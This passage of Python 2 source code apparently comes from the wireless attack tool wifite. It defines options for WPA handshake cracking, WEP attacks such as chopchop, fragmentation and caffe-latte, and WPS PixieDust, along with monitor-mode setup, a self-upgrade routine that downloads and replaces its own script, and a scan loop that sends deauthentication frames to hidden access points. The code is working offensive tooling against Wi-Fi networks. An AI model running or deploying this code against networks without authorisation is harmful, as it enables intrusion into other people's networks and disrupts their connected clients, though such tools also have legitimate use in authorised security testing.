  687.         wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  688.         wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  689.                                action='store_true', dest='strip')
  690.         wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  691.         wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  692.                                dest='crack')
  693.         wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  694.         wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  695.                                dest='dic')
  696.         wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  697.         wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  698.                                action='store_true', dest='aircrack')
  699.         wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  700.         wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  701.                                dest='pyrit')
  702.         wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  703.         wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  704.                                dest='tshark')
  705.         wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  706.         wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  707.                                action='store_true', dest='cowpatty')
  708.         wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  709.         # set WEP commands
  710.         wep_group = option_parser.add_argument_group('WEP')
  711.         wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  712.                                dest='wep')
  713.         wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  714.         wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  715.                                dest='pps')
  716.         wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  717.         wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  718.                                dest='wept')
  719.         wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  720.         wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  721.                                dest='chopchop')
  722.         wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
  723.         wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  724.                                dest='arpreplay')
  725.         wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  726.                                dest='arpreplay')
  727.         wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  728.                                dest='fragment')
  729.         wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  730.         wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  731.                                dest='caffeelatte')
  732.         wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  733.                                dest='caffeelatte')
  734.         wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  735.         wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  736.         wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  737.         wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  738.         wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  739.                                action='store_true', dest='fakeauth')
  740.         wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  741.                                dest='fakeauth')
  742.         wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  743.                                dest='wepca')
  744.         wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  745.         wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  746.                                action='store', dest='wepsave')
  747.         wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  748.         # set WPS commands
  749.         wps_group = option_parser.add_argument_group('WPS')
  750.         wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  751.                                dest='wps')
  752.         wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  753.         wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
  754.         wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
  755.                                dest='wpst')
  756.         wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  757.         wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  758.                                dest='wpsratio')
  759.         wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  760.         wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  761.                                action='store', dest='wpsretry')
  762.         wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  763.  
  764.         return option_parser
  765.  
  766.     def upgrade(self):
  767.         """
  768.             Checks for new version, prompts to upgrade, then
  769.             replaces this script with the latest from the repo
  770.         """
  771.         try:
  772.             print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W
  773.             print GR + ' [+]' + W + ' checking for latest version...'
  774.             revision = get_revision()
  775.             if revision == -1:
  776.                 print R + ' [!]' + O + ' unable to access GitHub' + W
  777.             elif revision > self.REVISION:
  778.                 print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W
  779.                 print GR + ' [-]' + W + '   revision:    ' + G + str(revision) + W
  780.                 response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ')
  781.                 if not response.lower().startswith('y'):
  782.                     print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W
  783.                     self.exit_gracefully(0)
  784.                     return
  785.                 # Download script, replace with this one
  786.                 print GR + ' [+] ' + G + 'downloading' + W + ' update...'
  787.                 try:
  788.                     sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  789.                     page = sock.read()
  790.                 except IOError:
  791.                     page = ''
  792.                 if page == '':
  793.                     print R + ' [+] ' + O + 'unable to download latest version' + W
  794.                     self.exit_gracefully(1)
  795.  
  796.                 # Create/save the new script
  797.                 f = open('wifite_new.py', 'w')
  798.                 f.write(page)
  799.                 f.close()
  800.  
  801.                 # The filename of the running script
  802.                 this_file = __file__
  803.                 if this_file.startswith('./'):
  804.                     this_file = this_file[2:]
  805.  
  806.                 # create/save a shell script that replaces this script with the new one
  807.                 f = open('update_wifite.sh', 'w')
  808.                 f.write('''#!/bin/sh\n
  809.                            rm -rf ''' + this_file + '''\n
  810.                            mv wifite_new.py ''' + this_file + '''\n
  811.                            rm -rf update_wifite.sh\n
  812.                            chmod +x ''' + this_file + '''\n
  813.                           ''')
  814.                 f.close()
  815.  
  816.                 # Change permissions on the script
  817.                 returncode = call(['chmod', '+x', 'update_wifite.sh'])
  818.                 if returncode != 0:
  819.                     print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W
  820.                     self.exit_gracefully(1)
  821.                 # Run the script
  822.                 returncode = call(['sh', 'update_wifite.sh'])
  823.                 if returncode != 0:
  824.                     print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W
  825.                     self.exit_gracefully(1)
  826.  
  827.                 print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again'
  828.  
  829.             else:
  830.                 print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W
  831.  
  832.         except KeyboardInterrupt:
  833.             print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W
  834.         self.exit_gracefully(0)
  835.  
  836.  
  837. class RunEngine:
  838.     def __init__(self, run_config):
  839.         self.RUN_CONFIG = run_config
  840.         self.RUN_CONFIG.RUN_ENGINE = self
  841.  
  842.     def initial_check(self):
  843.         """
  844.             Ensures required programs are installed.
  845.         """
  846.         airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  847.         for air in airs:
  848.             if program_exists(air): continue
  849.             print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  850.             print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  851.             print R + ' [!]' + O + '        ' + C + 'http://www.aircrack-ng.org/' + W
  852.             print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  853.             self.RUN_CONFIG.exit_gracefully(1)
  854.  
  855.         if not program_exists('iw'):
  856.             print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  857.             self.RUN_CONFIG.exit_gracefully(1)
  858.  
  859.         printed = False
  860.         # Check reaver
  861.         if not program_exists('reaver'):
  862.             printed = True
  863.             print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  864.             print R + '    ' + O + '   available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  865.             self.RUN_CONFIG.WPS_DISABLE = True
  866.         elif not program_exists('walsh') and not program_exists('wash'):
  867.             printed = True
  868.             print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W
  869.             print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W
  870.  
  871.         # Check handshake-checking apps
  872.         recs = ['tshark', 'pyrit', 'cowpatty']
  873.         for rec in recs:
  874.             if program_exists(rec): continue
  875.             printed = True
  876.             print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  877.         if printed: print ''
  878.  
  879.     def enable_monitor_mode(self, iface):
  880.         """
  881.             First attempts to anonymize the MAC if requested; MACs cannot
  882.             be anonymized if they're already in monitor mode.
  883.             Uses airmon-ng to put a device into Monitor Mode.
  884.             Then uses the get_iface() method to retrieve the new interface's name.
  885.             Sets global variable IFACE_TO_TAKE_DOWN as well.
  886.             Returns the name of the interface in monitor mode.
  887.         """
  888.         mac_anonymize(iface)
  889.         print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  890.         stdout.flush()
  891.         call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN)
  892.         call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  893.         print 'done'
  894.         self.RUN_CONFIG.WIRELESS_IFACE = ''  # remove this reference as we've started its monitoring counterpart
  895.         self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  896.         if self.RUN_CONFIG.TX_POWER > 0:
  897.             print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  898.             call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  899.             call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  900.             print 'done'
  901.         return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  902.  
  903.     def disable_monitor_mode(self):
  904.         """
  905.             The program may have enabled monitor mode on a wireless interface.
  906.             We want to disable this before we exit, so we will do that.
  907.         """
  908.         if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  909.         print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  910.         stdout.flush()
  911.         call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  912.         print 'done'
  913.  
  914.     def rtl8187_fix(self, iface):
  915.         """
  916.             Attempts to solve "Unknown error 132" common with RTL8187 devices.
  917.             Puts down interface, unloads/reloads driver module, then puts iface back up.
  918.             Returns True if fix was attempted, False otherwise.
  919.         """
  920.         # Check if current interface is using the RTL8187 chipset
  921.         proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  922.         proc_airmon.wait()
  923.         using_rtl8187 = False
  924.         for line in proc_airmon.communicate()[0].split():
  925.             line = line.upper()
  926.             if line.strip() == '' or line.startswith('INTERFACE'): continue
  927.             if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  928.  
  929.         if not using_rtl8187:
  930.             # Display error message and exit
  931.             print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  932.             print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  933.             self.RUN_CONFIG.exit_gracefully(1)
  934.  
  935.         print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  936.  
  937.         original_iface = iface
  938.         # Take device out of monitor mode
  939.         airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  940.         airmon.wait()
  941.         for line in airmon.communicate()[0].split('\n'):
  942.             if line.strip() == '' or \
  943.                     line.startswith("Interface") or \
  944.                             line.find('(removed)') != -1:
  945.                 continue
  946.             original_iface = line.split()[0]  # line[:line.find('\t')]
  947.  
  948.         # Remove drive modules, block/unblock ifaces, probe new modules.
  949.         print_and_exec(['ifconfig', original_iface, 'down'])
  950.         print_and_exec(['rmmod', 'rtl8187'])
  951.         print_and_exec(['rfkill', 'block', 'all'])
  952.         print_and_exec(['rfkill', 'unblock', 'all'])
  953.         print_and_exec(['modprobe', 'rtl8187'])
  954.         print_and_exec(['ifconfig', original_iface, 'up'])
  955.         print_and_exec(['airmon-ng', 'start', original_iface])
  956.  
  957.         print '\r                                                        \r',
  958.         print O + ' [!] ' + W + 'restarting scan...\n'
  959.  
  960.         return True
  961.  
  962.     def get_iface(self):
  963.         """
  964.             Get the wireless interface in monitor mode.
  965.             Defaults to only device in monitor mode if found.
  966.             Otherwise, enumerates list of possible wifi devices
  967.             and asks user to select one to put into monitor mode (if multiple).
  968.             Uses airmon-ng to put device in monitor mode if needed.
  969.             Returns the name (string) of the interface chosen in monitor mode.
  970.         """
  971.         if not self.RUN_CONFIG.PRINTED_SCANNING:
  972.             print GR + ' [+]' + W + ' scanning for wireless devices...'
  973.             self.RUN_CONFIG.PRINTED_SCANNING = True
  974.  
  975.         proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  976.         iface = ''
  977.         monitors = []
  978.         adapters = []
  979.         for line in proc.communicate()[0].split('\n'):
  980.             if len(line) == 0: continue
  981.             if ord(line[0]) != 32:  # Doesn't start with space
  982.                 iface = line[:line.find(' ')]  # is the interface
  983.             if line.find('Mode:Monitor') != -1:
  984.                 if iface not in monitors:
  985.                     #print GR + ' [+] found monitor inferface: ' + iface
  986.                     monitors.append(iface)
  987.             else:
  988.                 if iface not in adapters:
  989.                     #print GR + ' [+] found wireless inferface: ' + iface
  990.                     adapters.append(iface)
  991.  
  992.         if self.RUN_CONFIG.WIRELESS_IFACE != '':
  993.             if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  994.                 return self.RUN_CONFIG.WIRELESS_IFACE
  995.             else:
  996.                 if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  997.                     # valid adapter, enable monitor mode
  998.                     print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  999.                     R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  1000.                     return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  1001.                 else:
  1002.                     # couldnt find the requested adapter
  1003.                     print R + ' [!]' + O + ' could not find wireless interface %s' % (
  1004.                     '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  1005.                     self.RUN_CONFIG.exit_gracefully(0)
  1006.  
  1007.         if len(monitors) == 1:
  1008.             return monitors[0]  # Default to only device in monitor mode
  1009.         elif len(monitors) > 1:
  1010.             print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  1011.             for i, monitor in enumerate(monitors):
  1012.                 print "  %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  1013.             ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  1014.                            (GR, W, G, W, G, len(monitors), W, G))
  1015.             while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  1016.                 ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  1017.                                (GR, W, G, len(monitors), W, G))
  1018.             i = int(ri)
  1019.             return monitors[i - 1]
  1020.  
  1021.         proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  1022.         for line in proc.communicate()[0].split('\n'):
  1023.             if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
  1024.             if line.startswith('phy'): line = line.split('\t', 1)[1]
  1025.             monitors.append(line)
  1026.  
  1027.         if len(monitors) == 0:
  1028.             print R + ' [!]' + O + " no wireless interfaces were found." + W
  1029.             print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  1030.             self.RUN_CONFIG.exit_gracefully(0)
  1031.         elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  1032.             monitor = monitors[0][:monitors[0].find('\t')]
  1033.             return self.enable_monitor_mode(monitor)
  1034.         elif len(monitors) == 1:
  1035.             monitor = monitors[0][:monitors[0].find('\t')]
  1036.             if monitor.startswith('phy'): monitor = monitors[0].split()[1]
  1037.             return self.enable_monitor_mode(monitor)
  1038.  
  1039.         print GR + " [+]" + W + " available wireless devices:"
  1040.         for i, monitor in enumerate(monitors):
  1041.             print "  %s%d%s. %s" % (G, i + 1, W, monitor)
  1042.  
  1043.         ri = raw_input(
  1044.             GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1045.         while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  1046.             ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1047.         i = int(ri)
  1048.         monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
  1049.  
  1050.         return self.enable_monitor_mode(monitor)
  1051.  
  1052.     def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  1053.         """
  1054.             Scans for access points. Asks user to select target(s).
  1055.                 "channel" - the channel to scan on, 0 scans all channels.
  1056.                 "iface"   - the interface to scan on. must be a real interface.
  1057.                 "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  1058.             Returns list of selected targets and list of clients.
  1059.         """
  1060.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1061.  
  1062.         command = ['airodump-ng',
  1063.                    '-a',  # only show associated clients
  1064.                    '-w', self.RUN_CONFIG.temp + 'wifite']  # output file
  1065.         if channel != 0:
  1066.             command.append('-c')
  1067.             command.append(str(channel))
  1068.         command.append(iface)
  1069.  
  1070.         proc = Popen(command, stdout=DN, stderr=DN)
  1071.  
  1072.         time_started = time.time()
  1073.         print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  1074.         (targets, clients) = ([], [])
  1075.         try:
  1076.             deauth_sent = 0.0
  1077.             old_targets = []
  1078.             stop_scanning = False
  1079.             while True:
  1080.                 time.sleep(0.3)
  1081.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  1082.                     print R + '\n [!] ERROR!' + W
  1083.                     # RTL8187 Unknown Error 132 FIX
  1084.                     if proc.poll() is not None:  # Check if process has finished
  1085.                         proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  1086.                         if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  1087.                             send_interrupt(proc)
  1088.                             if self.rtl8187_fix(iface):
  1089.                                 return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  1090.                     print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  1091.                     print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  1092.                     self.RUN_CONFIG.exit_gracefully(1)
  1093.  
  1094.                 (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  1095.  
  1096.                 # Remove any already cracked networks if configured to do so
  1097.                 if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  1098.                     index = 0
  1099.                     while index < len(targets):
  1100.                         already = False
  1101.                         for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  1102.                             if targets[index].ssid.lower() == cracked.ssid.lower():
  1103.                                 already = True
  1104.                             if targets[index].bssid.lower() == cracked.bssid.lower():
  1105.                                 already = True
  1106.                         if already == True:
  1107.                             targets.pop(index)
  1108.                             index -= 1
  1109.                         index += 1
  1110.  
  1111.                 # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1112.                 if self.RUN_CONFIG.TARGET_ESSID != '':
  1113.                     for t in targets:
  1114.                         if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1115.                             send_interrupt(proc)
  1116.                             try:
  1117.                                 os.kill(proc.pid, SIGTERM)
  1118.                             except OSError:
  1119.                                 pass
  1120.                             except UnboundLocalError:
  1121.                                 pass
  1122.                             targets = [t]
  1123.                             stop_scanning = True
  1124.                             break
  1125.                 if self.RUN_CONFIG.TARGET_BSSID != '':
  1126.                     for t in targets:
  1127.                         if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1128.                             send_interrupt(proc)
  1129.                             try:
  1130.                                 os.kill(proc.pid, SIGTERM)
  1131.                             except OSError:
  1132.                                 pass
  1133.                             except UnboundLocalError:
  1134.                                 pass
  1135.                             targets = [t]
  1136.                             stop_scanning = True
  1137.                             break
  1138.  
  1139.                 # If user has chosen to target all access points, wait 20 seconds, then return all
  1140.                 if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1141.                     print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1142.                     G, len(targets), W, '' if len(targets) == 1 else 's')
  1143.                     stop_scanning = True
  1144.  
  1145.                 if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1146.                     # Remove targets with power < threshold
  1147.                     i = 0
  1148.                     before_count = len(targets)
  1149.                     while i < len(targets):
  1150.                         if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1151.                             targets.pop(i)
  1152.                         else:
  1153.                             i += 1
  1154.                     print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1155.                                               (G + str(before_count - len(targets)) + W,
  1156.                                                self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1157.                     stop_scanning = True
  1158.  
  1159.                 if stop_scanning: break
  1160.  
  1161.                 # If there are unknown SSIDs, send deauths to them.
  1162.                 if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
  1163.                     deauth_sent = time.time()
  1164.                     for t in targets:
  1165.                         if t.ssid == '':
  1166.                             print "\r %s deauthing hidden access point (%s)               \r" % \
  1167.                                   (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1168.                             stdout.flush()
  1169.                             # Time to deauth
  1170.                             cmd = ['aireplay-ng',
  1171.                                    '--ignore-negative-one',
  1172.                                    '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1173.                                    '-a', t.bssid]
  1174.                             for c in clients:
  1175.                                 if c.station == t.bssid:
  1176.                                     cmd.append('-c')
  1177.                                     cmd.append(c.bssid)
  1178.                                     break
  1179.                             cmd.append(iface)
  1180.                             proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1181.                             proc_aireplay.wait()
  1182.                             time.sleep(0.5)
  1183.                         else:
  1184.                             for ot in old_targets:
  1185.                                 if ot.ssid == '' and ot.bssid == t.bssid:
  1186.                                     print '\r %s successfully decloaked "%s"                     ' % \
  1187.                                           (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1188.  
  1189.                     old_targets = targets[:]
  1190.                 if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1191.                     targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1192.                     if not self.RUN_CONFIG.WPS_DISABLE:
  1193.                         wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1194.  
  1195.                     os.system('clear')
  1196.                     print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1197.                     print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % (
  1198.                     'BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1199.                     print '   --- --------------------  %s--  ----  -----  ----  ------' % (
  1200.                     '-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1201.                     for i, target in enumerate(targets):
  1202.                         print "   %s%2d%s " % (G, i + 1, W),
  1203.                         # SSID
  1204.                         if target.ssid == '':
  1205.                             p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1206.                             print '%s' % p.ljust(20),
  1207.                         elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1208.                             p = '<Length ' + str(len(target.ssid)) + '>'
  1209.                             print '%s' % C + p.ljust(20) + W,
  1210.                         elif len(target.ssid) <= 20:
  1211.                             print "%s" % C + target.ssid.ljust(20) + W,
  1212.                         else:
  1213.                             print "%s" % C + target.ssid[0:17] + '...' + W,
  1214.                         # BSSID
  1215.                         if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1216.                             print O, target.bssid + W,
  1217.                         # Channel
  1218.                         print G + target.channel.rjust(3), W,
  1219.                         # Encryption
  1220.                         if target.encryption.find("WEP") != -1:
  1221.                             print G,
  1222.                         else:
  1223.                             print O,
  1224.                         print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1225.                         # Power
  1226.                         if target.power >= 55:
  1227.                             col = G
  1228.                         elif target.power >= 40:
  1229.                             col = O
  1230.                         else:
  1231.                             col = R
  1232.                         print "%s%3ddb%s" % (col, target.power, W),
  1233.                         # WPS
  1234.                         if self.RUN_CONFIG.WPS_DISABLE:
  1235.                             print "  %3s" % (O + 'n/a' + W),
  1236.                         else:
  1237.                             print "  %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1238.                         # Clients
  1239.                         client_text = ''
  1240.                         for c in clients:
  1241.                             if c.station == target.bssid:
  1242.                                 if client_text == '':
  1243.                                     client_text = 'client'
  1244.                                 elif client_text[-1] != "s":
  1245.                                     client_text += "s"
  1246.                         if client_text != '':
  1247.                             print '  %s' % (G + client_text + W)
  1248.                         else:
  1249.                             print ''
  1250.                     print ''
  1251.                 print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % (
  1252.                     GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1253.                     G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1254.                     G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1255.  
  1256.                 stdout.flush()
  1257.         except KeyboardInterrupt:
  1258.             pass
  1259.         print ''
  1260.  
  1261.         send_interrupt(proc)
  1262.         try:
  1263.             os.kill(proc.pid, SIGTERM)
  1264.         except OSError:
  1265.             pass
  1266.         except UnboundLocalError:
  1267.             pass
  1268.  
  1269.         # Use "wash" program to check for WPS compatibility
  1270.         if not self.RUN_CONFIG.WPS_DISABLE:
  1271.             wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1272.  
  1273.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1274.  
  1275.         if stop_scanning:
  1276.             return (targets, clients)
  1277.         print ''
  1278.  
  1279.         if len(targets) == 0:
  1280.             print R + ' [!]' + O + ' no targets found!' + W
  1281.             print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1282.             print ''
  1283.             self.RUN_CONFIG.exit_gracefully(1)
  1284.  
  1285.         if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1286.  
  1287.         # Sort by Power
  1288.         targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1289.  
  1290.         victims = []
  1291.         print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % (
  1292.         'BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1293.         print '   --- --------------------  %s--  ----  -----  ----  ------' % (
  1294.         '-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1295.         for i, target in enumerate(targets):
  1296.             print "   %s%2d%s " % (G, i + 1, W),
  1297.             # SSID
  1298.             if target.ssid == '':
  1299.                 p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1300.                 print '%s' % p.ljust(20),
  1301.             elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1302.                 p = '<Length ' + str(len(target.ssid)) + '>'
  1303.                 print '%s' % C + p.ljust(20) + W,
  1304.             elif len(target.ssid) <= 20:
  1305.                 print "%s" % C + target.ssid.ljust(20) + W,
  1306.             else:
  1307.                 print "%s" % C + target.ssid[0:17] + '...' + W,
  1308.             # BSSID
  1309.             if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1310.                 print O, target.bssid + W,
  1311.             # Channel
  1312.             print G + target.channel.rjust(3), W,
  1313.             # Encryption
  1314.             if target.encryption.find("WEP") != -1:
  1315.                 print G,
  1316.             else:
  1317.                 print O,
  1318.             print "\b%3s" % target.encryption.strip().ljust(4) + W,
